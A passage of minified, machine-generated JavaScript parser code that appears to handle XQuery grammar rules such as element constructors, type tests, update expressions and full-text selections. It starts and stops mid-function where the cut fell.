os(){ic.startNonterminal(\"ComputedConstructor\",Vl);switch($l){case 120:al();break;case 122:as();break;case 83:ll();break;case 187:ls();break;case 249:ml();break;case 97:dl();break;default:hl()}ic.endNonterminal(\"ComputedConstructor\",Vl)}function us(){switch($l){case 120:fl();break;case 122:fs();break;case 83:cl();break;case 187:cs();break;case 249:gl();break;case 97:vl();break;default:pl()}}function as(){ic.startNonterminal(\"CompElemConstructor\",Vl),Pl(122),Il(250);switch($l){case 281:Pl(281),Il(267),jl(),G(),Pl(287);break;default:jl(),$a()}Il(90),Pl(281),Il(281),$l!=287&&(jl(),ol()),Pl(287),ic.endNonterminal(\"CompElemConstructor\",Vl)}function fs(){Hl(122),Il(250);switch($l){case 281:Hl(281),Il(267),Y(),Hl(287);break;default:Ja()}Il(90),Hl(281),Il(281),$l!=287&&ul(),Hl(287)}function ls(){ic.startNonterminal(\"CompNamespaceConstructor\",Vl),Pl(187),Il(242);switch($l){case 281:Pl(281),Il(267),jl(),ds(),Pl(287);break;default:jl(),hs()}Il(90),Pl(281),Il(267),jl(),ms(),Pl(287),ic.endNonterminal(\"CompNamespaceConstructor\",Vl)}function cs(){Hl(187),Il(242);switch($l){case 281:Hl(281),Il(267),vs(),Hl(287);break;default:ps()}Il(90),Hl(281),Il(267),gs(),Hl(287)}function hs(){ic.startNonterminal(\"Prefix\",Vl),Ga(),ic.endNonterminal(\"Prefix\",Vl)}function ps(){Ya()}function ds(){ic.startNonterminal(\"PrefixExpr\",Vl),G(),ic.endNonterminal(\"PrefixExpr\",Vl)}function vs(){Y()}function ms(){ic.startNonterminal(\"URIExpr\",Vl),G(),ic.endNonterminal(\"URIExpr\",Vl)}function gs(){Y()}function ys(){ic.startNonterminal(\"FunctionItemExpr\",Vl);switch($l){case 147:ql(95);break;default:Wl=$l}switch(Wl){case 33:case 18067:Ss();break;default:ws()}ic.endNonterminal(\"FunctionItemExpr\",Vl)}function bs(){switch($l){case 147:ql(95);break;default:Wl=$l}switch(Wl){case 33:case 18067:xs();break;default:Es()}}function ws(){ic.startNonterminal(\"NamedFunctionRef\",Vl),$a(),Il(20),Pl(29),Il(16),Pl(8),ic.endNonterminal(\"NamedFunctionRef\",Vl)}function Es(){Ja(),Il(20),Hl(29),Il(16),Hl(8)}function Ss(){ic.startNonterminal(\"InlineFunctionExpr\",Vl);for(;;){Il(101);if($l!=33)break;jl(),B()}Pl(147),Il(22),Pl(35),Il(98),$l==31&&(jl(),U()),Pl(38),Il(115),$l==80&&(Pl(80),Il(254),jl(),Ls()),Il(90),jl(),V(),ic.endNonterminal(\"InlineFunctionExpr\",Vl)}function xs(){for(;;){Il(101);if($l!=33)break;j()}Hl(147),Il(22),Hl(35),Il(98),$l==31&&z(),Hl(38),Il(115),$l==80&&(Hl(80),Il(254),As()),Il(90),$()}function Ts(){ic.startNonterminal(\"SingleType\",Vl),ko(),Il(226),$l==65&&Pl(65),ic.endNonterminal(\"SingleType\",Vl)}function Ns(){Lo(),Il(226),$l==65&&Hl(65)}function Cs(){ic.startNonterminal(\"TypeDeclaration\",Vl),Pl(80),Il(254),jl(),Ls(),ic.endNonterminal(\"TypeDeclaration\",Vl)}function ks(){Hl(80),Il(254),As()}function Ls(){ic.startNonterminal(\"SequenceType\",Vl);switch($l){case 35:ql(259);break;case 125:ql(233);break;default:Wl=$l}switch(Wl){case 18045:case 19491:$l==125&&Pl(125),Il(22),Pl(35),Il(23),Pl(38);break;default:_s(),Il(229);switch($l){case 40:case 41:case 65:jl(),Os();break;default:}}ic.endNonterminal(\"SequenceType\",Vl)}function As(){switch($l){case 35:ql(259);break;case 125:ql(233);break;default:Wl=$l}switch(Wl){case 18045:case 19491:$l==125&&Hl(125),Il(22),Hl(35),Il(23),Hl(38);break;default:Ds(),Il(229);switch($l){case 40:case 41:case 65:Ms();break;default:}}}function Os(){ic.startNonterminal(\"OccurrenceIndicator\",Vl);switch($l){case 65:Pl(65);break;case 40:Pl(40);break;default:Pl(41)}ic.endNonterminal(\"OccurrenceIndicator\",Vl)}function Ms(){switch($l){case 65:Hl(65);break;case 40:Hl(40);break;default:Hl(41)}}function _s(){ic.startNonterminal(\"ItemType\",Vl);switch($l){case 79:case 83:case 97:case 121:case 122:case 147:case 167:case 169:case 188:case 194:case 198:case 220:case 230:case 231:case 247:case 249:ql(233);break;default:Wl=$l}if(Wl==12879||Wl==12969||Wl==12998||Wl==13047||Wl==13903||Wl==13993||Wl==14022||Wl==14071||Wl==19535||Wl==19625||Wl==19654||Wl==19703||Wl==20047||Wl==20137||Wl==20166||Wl==20215||Wl==20559||Wl==20649||Wl==20678||Wl==20727||Wl==21071||Wl==21161||Wl==21190||Wl==21239||Wl==21583||Wl==21673||Wl==21702||Wl==21751||Wl==22095||Wl==22185||Wl==22214||Wl==22263||Wl==25679||Wl==25769||Wl==25798||Wl==25847||Wl==27215||Wl==27305||Wl==27334||Wl==27383||Wl==27727||Wl==27817||Wl==27846||Wl==27895||Wl==28239||Wl==28329||Wl==28358||Wl==28407||Wl==29775||Wl==29865||Wl==29894||Wl==29943||Wl==30287||Wl==30377||Wl==30406||Wl==30455||Wl==31311||Wl==31401||Wl==31430||Wl==31479||Wl==31823||Wl==31913||Wl==31942||Wl==31991||Wl==32335||Wl==32425||Wl==32454||Wl==32503||Wl==32847||Wl==32937||Wl==32966||Wl==33015||Wl==33359||Wl==33449||Wl==33478||Wl==33527||Wl==35919||Wl==36009||Wl==36038||Wl==36087||Wl==36431||Wl==36521||Wl==36550||Wl==36599||Wl==37455||Wl==37545||Wl==37574||Wl==37623||Wl==38991||Wl==39081||Wl==39110||Wl==39159||Wl==41039||Wl==41129||Wl==41158||Wl==41207||Wl==41551||Wl==41641||Wl==41670||Wl==41719||Wl==42063||Wl==42153||Wl==42182||Wl==42231||Wl==43599||Wl==43689||Wl==43718||Wl==43767||Wl==45647||Wl==45737||Wl==45766||Wl==45815||Wl==48719||Wl==48809||Wl==48838||Wl==48887||Wl==51279||Wl==51369||Wl==51398||Wl==51447||Wl==54351||Wl==54441||Wl==54470||Wl==54519||Wl==56399||Wl==56489||Wl==56518||Wl==56567||Wl==58447||Wl==58537||Wl==58566||Wl==58615||Wl==61007||Wl==61097||Wl==61126||Wl==61175||Wl==63055||Wl==63145||Wl==63174||Wl==63223||Wl==63567||Wl==63657||Wl==63686||Wl==63735||Wl==65103||Wl==65193||Wl==65222||Wl==65271||Wl==66127||Wl==66217||Wl==66246||Wl==66295||Wl==67663||Wl==67753||Wl==67782||Wl==67831||Wl==68687||Wl==68777||Wl==68806||Wl==68855||Wl==71247||Wl==71337||Wl==71366||Wl==71415||Wl==75855||Wl==75945||Wl==75974||Wl==76023||Wl==76879||Wl==76969||Wl==76998||Wl==77047||Wl==77903||Wl==77993||Wl==78022||Wl==78071||Wl==78415||Wl==78505||Wl==78534||Wl==78583||Wl==79951||Wl==80041||Wl==80070||Wl==80119||Wl==83023||Wl==83113||Wl==83142||Wl==83191||Wl==84047||Wl==84137||Wl==84166||Wl==84215||Wl==84559||Wl==84649||Wl==84678||Wl==84727||Wl==85071||Wl==85161||Wl==85190||Wl==85239||Wl==89679||Wl==89769||Wl==89798||Wl==89847||Wl==90703||Wl==90793||Wl==90822||Wl==90871||Wl==92751||Wl==92841||Wl==92870||Wl==92919||Wl==93775||Wl==93865||Wl==93894||Wl==93943||Wl==94287||Wl==94377||Wl==94406||Wl==94455||Wl==96847||Wl==96937||Wl==96966||Wl==97015||Wl==103503||Wl==103593||Wl==103622||Wl==103671||Wl==104527||Wl==104617||Wl==104646||Wl==104695||Wl==105039||Wl==105129||Wl==105158||Wl==105207||Wl==107087||Wl==107177||Wl==107206||Wl==107255||Wl==114767||Wl==114857||Wl==114886||Wl==114935||Wl==116815||Wl==116905||Wl==116934||Wl==116983||Wl==118863||Wl==118953||Wl==118982||Wl==119031||Wl==121423||Wl==121513||Wl==121542||Wl==121591||Wl==123471||Wl==123561||Wl==123590||Wl==123639||Wl==123983||Wl==124073||Wl==124102||Wl==124151||Wl==129103||Wl==129193||Wl==129222||Wl==129271||Wl==129615||Wl==129705||Wl==129734||Wl==129783||Wl==133199||Wl==133289||Wl==133318||Wl==133367||Wl==139343||Wl==139433||Wl==139462||Wl==139511||Wl==141391||Wl==141481||Wl==141510||Wl==141559||Wl==142927||Wl==143017||Wl==143046||Wl==143095||Wl==143951||Wl==144041||Wl==144070||Wl==144119||Wl==145487||Wl==145577||Wl==145606||Wl==145655||Wl==145999||Wl==146089||Wl==146118||Wl==146167||Wl==146511||Wl==146601||Wl==146630||Wl==146679||Wl==147023||Wl==147113||Wl==147142||Wl==147191){Wl=uc(6,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xs(),Wl=-4}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hs(),Wl=-6}catch(f){Wl=-7}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(6,Vl,Wl)}}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:Vs();break;case 18087:Pl(167),Il(22),Pl(35),Il(23),Pl(38);break;case 33:case 18067:Mo();break;case 35:jo();break;case-6:case 17999:case 18089:case 18118:Ps();break;case-7:case 18167:Bs();break;default:Ws()}ic.endNonterminal(\"ItemType\",Vl)}function Ds(){switch($l){case 79:case 83:case 97:case 121:case 122:case 147:case 167:case 169:case 188:case 194:case 198:case 220:case 230:case 231:case 247:case 249:ql(233);break;default:Wl=$l}if(Wl==12879||Wl==12969||Wl==12998||Wl==13047||Wl==13903||Wl==13993||Wl==14022||Wl==14071||Wl==19535||Wl==19625||Wl==19654||Wl==19703||Wl==20047||Wl==20137||Wl==20166||Wl==20215||Wl==20559||Wl==20649||Wl==20678||Wl==20727||Wl==21071||Wl==21161||Wl==21190||Wl==21239||Wl==21583||Wl==21673||Wl==21702||Wl==21751||Wl==22095||Wl==22185||Wl==22214||Wl==22263||Wl==25679||Wl==25769||Wl==25798||Wl==25847||Wl==27215||Wl==27305||Wl==27334||Wl==27383||Wl==27727||Wl==27817||Wl==27846||Wl==27895||Wl==28239||Wl==28329||Wl==28358||Wl==28407||Wl==29775||Wl==29865||Wl==29894||Wl==29943||Wl==30287||Wl==30377||Wl==30406||Wl==30455||Wl==31311||Wl==31401||Wl==31430||Wl==31479||Wl==31823||Wl==31913||Wl==31942||Wl==31991||Wl==32335||Wl==32425||Wl==32454||Wl==32503||Wl==32847||Wl==32937||Wl==32966||Wl==33015||Wl==33359||Wl==33449||Wl==33478||Wl==33527||Wl==35919||Wl==36009||Wl==36038||Wl==36087||Wl==36431||Wl==36521||Wl==36550||Wl==36599||Wl==37455||Wl==37545||Wl==37574||Wl==37623||Wl==38991||Wl==39081||Wl==39110||Wl==39159||Wl==41039||Wl==41129||Wl==41158||Wl==41207||Wl==41551||Wl==41641||Wl==41670||Wl==41719||Wl==42063||Wl==42153||Wl==42182||Wl==42231||Wl==43599||Wl==43689||Wl==43718||Wl==43767||Wl==45647||Wl==45737||Wl==45766||Wl==45815||Wl==48719||Wl==48809||Wl==48838||Wl==48887||Wl==51279||Wl==51369||Wl==51398||Wl==51447||Wl==54351||Wl==54441||Wl==54470||Wl==54519||Wl==56399||Wl==56489||Wl==56518||Wl==56567||Wl==58447||Wl==58537||Wl==58566||Wl==58615||Wl==61007||Wl==61097||Wl==61126||Wl==61175||Wl==63055||Wl==63145||Wl==63174||Wl==63223||Wl==63567||Wl==63657||Wl==63686||Wl==63735||Wl==65103||Wl==65193||Wl==65222||Wl==65271||Wl==66127||Wl==66217||Wl==66246||Wl==66295||Wl==67663||Wl==67753||Wl==67782||Wl==67831||Wl==68687||Wl==68777||Wl==68806||Wl==68855||Wl==71247||Wl==71337||Wl==71366||Wl==71415||Wl==75855||Wl==75945||Wl==75974||Wl==76023||Wl==76879||Wl==76969||Wl==76998||Wl==77047||Wl==77903||Wl==77993||Wl==78022||Wl==78071||Wl==78415||Wl==78505||Wl==78534||Wl==78583||Wl==79951||Wl==80041||Wl==80070||Wl==80119||Wl==83023||Wl==83113||Wl==83142||Wl==83191||Wl==84047||Wl==84137||Wl==84166||Wl==84215||Wl==84559||Wl==84649||Wl==84678||Wl==84727||Wl==85071||Wl==85161||Wl==85190||Wl==85239||Wl==89679||Wl==89769||Wl==89798||Wl==89847||Wl==90703||Wl==90793||Wl==90822||Wl==90871||Wl==92751||Wl==92841||Wl==92870||Wl==92919||Wl==93775||Wl==93865||Wl==93894||Wl==93943||Wl==94287||Wl==94377||Wl==94406||Wl==94455||Wl==96847||Wl==96937||Wl==96966||Wl==97015||Wl==103503||Wl==103593||Wl==103622||Wl==103671||Wl==104527||Wl==104617||Wl==104646||Wl==104695||Wl==105039||Wl==105129||Wl==105158||Wl==105207||Wl==107087||Wl==107177||Wl==107206||Wl==107255||Wl==114767||Wl==114857||Wl==114886||Wl==114935||Wl==116815||Wl==116905||Wl==116934||Wl==116983||Wl==118863||Wl==118953||Wl==118982||Wl==119031||Wl==121423||Wl==121513||Wl==121542||Wl==121591||Wl==123471||Wl==123561||Wl==123590||Wl==123639||Wl==123983||Wl==124073||Wl==124102||Wl==124151||Wl==129103||Wl==129193||Wl==129222||Wl==129271||Wl==129615||Wl==129705||Wl==129734||Wl==129783||Wl==133199||Wl==133289||Wl==133318||Wl==133367||Wl==139343||Wl==139433||Wl==139462||Wl==139511||Wl==141391||Wl==141481||Wl==141510||Wl==141559||Wl==142927||Wl==143017||Wl==143046||Wl==143095||Wl==143951||Wl==144041||Wl==144070||Wl==144119||Wl==145487||Wl==145577||Wl==145606||Wl==145655||Wl==145999||Wl==146089||Wl==146118||Wl==146167||Wl==146511||Wl==146601||Wl==146630||Wl==146679||Wl==147023||Wl==147113||Wl==147142||Wl==147191){Wl=uc(6,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xs(),oc(6,t,-4),Wl=-8}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hs(),oc(6,t,-6),Wl=-8}catch(f){Wl=-7,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(6,t,-7)}}}}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:$s();break;case 18087:Hl(167),Il(22),Hl(35),Il(23),Hl(38);break;case 33:case 18067:_o();break;case 35:Fo();break;case-6:case 17999:case 18089:case 18118:Hs();break;case-7:case 18167:js();break;case-8:break;default:Xs()}}function Ps(){ic.startNonterminal(\"JSONTest\",Vl);switch($l){case 169:Fs();break;case 198:qs();break;default:Us()}ic.endNonterminal(\"JSONTest\",Vl)}function Hs(){switch($l){case 169:Is();break;case 198:Rs();break;default:zs()}}function Bs(){ic.startNonterminal(\"StructuredItemTest\",Vl),Pl(247),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"StructuredItemTest\",Vl)}function js(){Hl(247),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function Fs(){ic.startNonterminal(\"JSONItemTest\",Vl),Pl(169),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"JSONItemTest\",Vl)}function Is(){Hl(169),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function qs(){ic.startNonterminal(\"JSONObjectTest\",Vl),Pl(198),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"JSONObjectTest\",Vl)}function Rs(){Hl(198),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function Us(){ic.startNonterminal(\"JSONArrayTest\",Vl),Pl(79),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"JSONArrayTest\",Vl)}function zs(){Hl(79),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function Ws(){ic.startNonterminal(\"AtomicOrUnionType\",Vl),$a(),ic.endNonterminal(\"AtomicOrUnionType\",Vl)}function Xs(){Ja()}function Vs(){ic.startNonterminal(\"KindTest\",Vl);switch($l){case 121:Qs();break;case 122:vo();break;case 83:oo();break;case 231:bo();break;case 230:lo();break;case 220:io();break;case 97:eo();break;case 249:Ys();break;case 188:no();break;default:Js()}ic.endNonterminal(\"KindTest\",Vl)}function $s(){switch($l){case 121:Gs();break;case 122:mo();break;case 83:uo();break;case 231:wo();break;case 230:co();break;case 220:so();break;case 97:to();break;case 249:Zs();break;case 188:ro();break;default:Ks()}}function Js(){ic.startNonterminal(\"AnyKindTest\",Vl),Pl(194),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"AnyKindTest\",Vl)}function Ks(){Hl(194),Il(22),Hl(35),Il(23),Hl(38)}function Qs(){ic.startNonterminal(\"DocumentTest\",Vl),Pl(121),Il(22),Pl(35),Il(154);if($l!=38)switch($l){case 122:jl(),vo();break;default:jl(),bo()}Il(23),Pl(38),ic.endNonterminal(\"DocumentTest\",Vl)}function Gs(){Hl(121),Il(22),Hl(35),Il(154);if($l!=38)switch($l){case 122:mo();break;default:wo()}Il(23),Hl(38)}function Ys(){ic.startNonterminal(\"TextTest\",Vl),Pl(249),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"TextTest\",Vl)}function Zs(){Hl(249),Il(22),Hl(35),Il(23),Hl(38)}function eo(){ic.startNonterminal(\"CommentTest\",Vl),Pl(97),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"CommentTest\",Vl)}function to(){Hl(97),Il(22),Hl(35),Il(23),Hl(38)}function no(){ic.startNonterminal(\"NamespaceNodeTest\",Vl),Pl(188),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"NamespaceNodeTest\",Vl)}function ro(){Hl(188),Il(22),Hl(35),Il(23),Hl(38)}function io(){ic.startNonterminal(\"PITest\",Vl),Pl(220),Il(22),Pl(35),Il(244);if($l!=38)switch($l){case 11:Pl(11);break;default:jl(),Ga()}Il(23),Pl(38),ic.endNonterminal(\"PITest\",Vl)}function so(){Hl(220),Il(22),Hl(35),Il(244);if($l!=38)switch($l){case 11:Hl(11);break;default:Ya()}Il(23),Hl(38)}function oo(){ic.startNonterminal(\"AttributeTest\",Vl),Pl(83),Il(22),Pl(35),Il(255),$l!=38&&(jl(),ao(),Il(105),$l==42&&(Pl(42),Il(246),jl(),Ao())),Il(23),Pl(38),ic.endNonterminal(\"AttributeTest\",Vl)}function uo(){Hl(83),Il(22),Hl(35),Il(255),$l!=38&&(fo(),Il(105),$l==42&&(Hl(42),Il(246),Oo())),Il(23),Hl(38)}function ao(){ic.startNonterminal(\"AttribNameOrWildcard\",Vl);switch($l){case 39:Pl(39);break;default:xo()}ic.endNonterminal(\"AttribNameOrWildcard\",Vl)}function fo(){switch($l){case 39:Hl(39);break;default:To()}}function lo(){ic.startNonterminal(\"SchemaAttributeTest\",Vl),Pl(230),Il(22),Pl(35),Il(246),jl(),ho(),Il(23),Pl(38),ic.endNonterminal(\"SchemaAttributeTest\",Vl)}function co(){Hl(230),Il(22),Hl(35),Il(246),po(),Il(23),Hl(38)}function ho(){ic.startNonterminal(\"AttributeDeclaration\",Vl),xo(),ic.endNonterminal(\"AttributeDeclaration\",Vl)}function po(){To()}function vo(){ic.startNonterminal(\"ElementTest\",Vl),Pl(122),Il(22),Pl(35),Il(255),$l!=38&&(jl(),go(),Il(105),$l==42&&(Pl(42),Il(246),jl(),Ao(),Il(106),$l==65&&Pl(65))),Il(23),Pl(38),ic.endNonterminal(\"ElementTest\",Vl)}function mo(){Hl(122),Il(22),Hl(35),Il(255),$l!=38&&(yo(),Il(105),$l==42&&(Hl(42),Il(246),Oo(),Il(106),$l==65&&Hl(65))),Il(23),Hl(38)}function go(){ic.startNonterminal(\"ElementNameOrWildcard\",Vl);switch($l){case 39:Pl(39);break;default:No()}ic.endNonterminal(\"ElementNameOrWildcard\",Vl)}function yo(){switch($l){case 39:Hl(39);break;default:Co()}}function bo(){ic.startNonterminal(\"SchemaElementTest\",Vl),Pl(231),Il(22),Pl(35),Il(246),jl(),Eo(),Il(23),Pl(38),ic.endNonterminal(\"SchemaElementTest\",Vl)}function wo(){Hl(231),Il(22),Hl(35),Il(246),So(),Il(23),Hl(38)}function Eo(){ic.startNonterminal(\"ElementDeclaration\",Vl),No(),ic.endNonterminal(\"ElementDeclaration\",Vl)}function So(){Co()}function xo(){ic.startNonterminal(\"AttributeName\",Vl),$a(),ic.endNonterminal(\"AttributeName\",Vl)}function To(){Ja()}function No(){ic.startNonterminal(\"ElementName\",Vl),$a(),ic.endNonterminal(\"ElementName\",Vl)}function Co(){Ja()}function ko(){ic.startNonterminal(\"SimpleTypeName\",Vl),Ao(),ic.endNonterminal(\"SimpleTypeName\",Vl)}function Lo(){Oo()}function Ao(){ic.startNonterminal(\"TypeName\",Vl),$a(),ic.endNonterminal(\"TypeName\",Vl)}function Oo(){Ja()}function Mo(){ic.startNonterminal(\"FunctionTest\",Vl);for(;;){Il(101);if($l!=33)break;jl(),B()}switch($l){case 147:ql(22);break;default:Wl=$l}Wl=uc(7,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Po(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(7,Vl,Wl)}switch(Wl){case-1:jl(),Do();break;default:jl(),Ho()}ic.endNonterminal(\"FunctionTest\",Vl)}function _o(){for(;;){Il(101);if($l!=33)break;j()}switch($l){case 147:ql(22);break;default:Wl=$l}Wl=uc(7,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Po(),oc(7,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(7,t,-2)}}switch(Wl){case-1:Po();break;case-3:break;default:Bo()}}function Do(){ic.startNonterminal(\"AnyFunctionTest\",Vl),Pl(147),Il(22),Pl(35),Il(24),Pl(39),Il(23),Pl(38),ic.endNonterminal(\"AnyFunctionTest\",Vl)}function Po(){Hl(147),Il(22),Hl(35),Il(24),Hl(39),Il(23),Hl(38)}function Ho(){ic.startNonterminal(\"TypedFunctionTest\",Vl),Pl(147),Il(22),Pl(35),Il(259);if($l!=38){jl(),Ls();for(;;){Il(105);if($l!=42)break;Pl(42),Il(254),jl(),Ls()}}Pl(38),Il(33),Pl(80),Il(254),jl(),Ls(),ic.endNonterminal(\"TypedFunctionTest\",Vl)}function Bo(){Hl(147),Il(22),Hl(35),Il(259);if($l!=38){As();for(;;){Il(105);if($l!=42)break;Hl(42),Il(254),As()}}Hl(38),Il(33),Hl(80),Il(254),As()}function jo(){ic.startNonterminal(\"ParenthesizedItemType\",Vl),Pl(35),Il(254),jl(),_s(),Il(23),Pl(38),ic.endNonterminal(\"ParenthesizedItemType\",Vl)}function Fo(){Hl(35),Il(254),Ds(),Il(23),Hl(38)}function Io(){ic.startNonterminal(\"RevalidationDecl\",Vl),Pl(109),Il(75),Pl(226),Il(162);switch($l){case 245:Pl(245);break;case 174:Pl(174);break;default:Pl(238)}ic.endNonterminal(\"RevalidationDecl\",Vl)}function qo(){ic.startNonterminal(\"InsertExprTargetChoice\",Vl);switch($l){case 71:Pl(71);break;case 85:Pl(85);break;default:if($l==80){Pl(80),Il(123);switch($l){case 136:Pl(136);break;default:Pl(173)}}Il(57),Pl(165)}ic.endNonterminal(\"InsertExprTargetChoice\",Vl)}function Ro(){switch($l){case 71:Hl(71);break;case 85:Hl(85);break;default:if($l==80){Hl(80),Il(123);switch($l){case 136:Hl(136);break;default:Hl(173)}}Il(57),Hl(165)}}function Uo(){ic.startNonterminal(\"InsertExpr\",Vl),Pl(161),Il(133);switch($l){case 194:Pl(194);break;default:Pl(195)}Il(267),jl(),Qo(),jl(),qo(),Il(267),jl(),Yo(),ic.endNonterminal(\"InsertExpr\",Vl)}function zo(){Hl(161),Il(133);switch($l){case 194:Hl(194);break;default:Hl(195)}Il(267),Go(),Ro(),Il(267),Zo()}function Wo(){ic.startNonterminal(\"DeleteExpr\",Vl),Pl(111),Il(133);switch($l){case 194:Pl(194);break;default:Pl(195)}Il(267),jl(),Yo(),ic.endNonterminal(\"DeleteExpr\",Vl)}function Xo(){Hl(111),Il(133);switch($l){case 194:Hl(194);break;default:Hl(195)}Il(267),Zo()}function Vo(){ic.startNonterminal(\"ReplaceExpr\",Vl),Pl(223),Il(134),$l==267&&(Pl(267),Il(67),Pl(200)),Il(65),Pl(194),Il(267),jl(),Yo(),Pl(276),Il(267),jl(),Wf(),ic.endNonterminal(\"ReplaceExpr\",Vl)}function $o(){Hl(223),Il(134),$l==267&&(Hl(267),Il(67),Hl(200)),Il(65),Hl(194),Il(267),Zo(),Hl(276),Il(267),Xf()}function Jo(){ic.startNonterminal(\"RenameExpr\",Vl),Pl(222),Il(65),Pl(194),Il(267),jl(),Yo(),Pl(80),Il(267),jl(),eu(),ic.endNonterminal(\"RenameExpr\",Vl)}function Ko(){Hl(222),Il(65),Hl(194),Il(267),Zo(),Hl(80),Il(267),tu()}function Qo(){ic.startNonterminal(\"SourceExpr\",Vl),Wf(),ic.endNonterminal(\"SourceExpr\",Vl)}function Go(){Xf()}function Yo(){ic.startNonterminal(\"TargetExpr\",Vl),Wf(),ic.endNonterminal(\"TargetExpr\",Vl)}function Zo(){Xf()}function eu(){ic.startNonterminal(\"NewNameExpr\",Vl),Wf(),ic.endNonterminal(\"NewNameExpr\",Vl)}function tu(){Xf()}function nu(){ic.startNonterminal(\"TransformExpr\",Vl),Pl(104),Il(21),jl(),iu();for(;;){if($l!=42)break;Pl(42),Il(21),jl(),iu()}Pl(184),Il(267),jl(),Wf(),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"TransformExpr\",Vl)}function ru(){Hl(104),Il(21),su();for(;;){if($l!=42)break;Hl(42),Il(21),su()}Hl(184),Il(267),Xf(),Hl(224),Il(267),Xf()}function iu(){ic.startNonterminal(\"TransformSpec\",Vl),Pl(31),Il(246),jl(),Ti(),Il(28),Pl(53),Il(267),jl(),Wf(),ic.endNonterminal(\"TransformSpec\",Vl)}function su(){Hl(31),Il(246),Ni(),Il(28),Hl(53),Il(267),Xf()}function ou(){ic.startNonterminal(\"FTSelection\",Vl),lu();for(;;){Il(212);switch($l){case 82:ql(161);break;default:Wl=$l}if(Wl!=116&&Wl!=118&&Wl!=128&&Wl!=206&&Wl!=227&&Wl!=275&&Wl!=65106&&Wl!=123986)break;jl(),Pu()}ic.endNonterminal(\"FTSelection\",Vl)}function uu(){cu();for(;;){Il(212);switch($l){case 82:ql(161);break;default:Wl=$l}if(Wl!=116&&Wl!=118&&Wl!=128&&Wl!=206&&Wl!=227&&Wl!=275&&Wl!=65106&&Wl!=123986)break;Hu()}}function au(){ic.startNonterminal(\"FTWeight\",Vl),Pl(270),Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"FTWeight\",Vl)}function fu(){Hl(270),Il(90),Hl(281),Il(267),Y(),Hl(287)}function lu(){ic.startNonterminal(\"FTOr\",Vl),hu();for(;;){if($l!=146)break;Pl(146),Il(177),jl(),hu()}ic.endNonterminal(\"FTOr\",Vl)}function cu(){pu();for(;;){if($l!=146)break;Hl(146),Il(177),pu()}}function hu(){ic.startNonterminal(\"FTAnd\",Vl),du();for(;;){if($l!=144)break;Pl(144),Il(177),jl(),du()}ic.endNonterminal(\"FTAnd\",Vl)}function pu(){vu();for(;;){if($l!=144)break;Hl(144),Il(177),vu()}}function du(){ic.startNonterminal(\"FTMildNot\",Vl),mu();for(;;){Il(213);if($l!=196)break;Pl(196),Il(56),Pl(156),Il(177),jl(),mu()}ic.endNonterminal(\"FTMildNot\",Vl)}function vu(){gu();for(;;){Il(213);if($l!=196)break;Hl(196),Il(56),Hl(156),Il(177),gu()}}function mu(){ic.startNonterminal(\"FTUnaryNot\",Vl),$l==145&&Pl(145),Il(164),jl(),yu(),ic.endNonterminal(\"FTUnaryNot\",Vl)}function gu(){$l==145&&Hl(145),Il(164),bu()}function yu(){ic.startNonterminal(\"FTPrimaryWithOptions\",Vl),wu(),Il(214),$l==265&&(jl(),Qu()),$l==270&&(jl(),au()),ic.endNonterminal(\"FTPrimaryWithOptions\",Vl)}function bu(){Eu(),Il(214),$l==265&&Gu(),$l==270&&fu()}function wu(){ic.startNonterminal(\"FTPrimary\",Vl);switch($l){case 35:Pl(35),Il(177),jl(),ou(),Pl(38);break;case 36:Cu();break;default:Su(),Il(215),$l==199&&(jl(),Ou())}ic.endNonterminal(\"FTPrimary\",Vl)}function Eu(){switch($l){case 35:Hl(35),Il(177),uu(),Hl(38);break;case 36:ku();break;default:xu(),Il(215),$l==199&&Mu()}}function Su(){ic.startNonterminal(\"FTWords\",Vl),Tu(),Il(221);if($l==72||$l==77||$l==214)jl(),Lu();ic.endNonterminal(\"FTWords\",Vl)}function xu(){Nu(),Il(221),($l==72||$l==77||$l==214)&&Au()}function Tu(){ic.startNonterminal(\"FTWordsValue\",Vl);switch($l){case 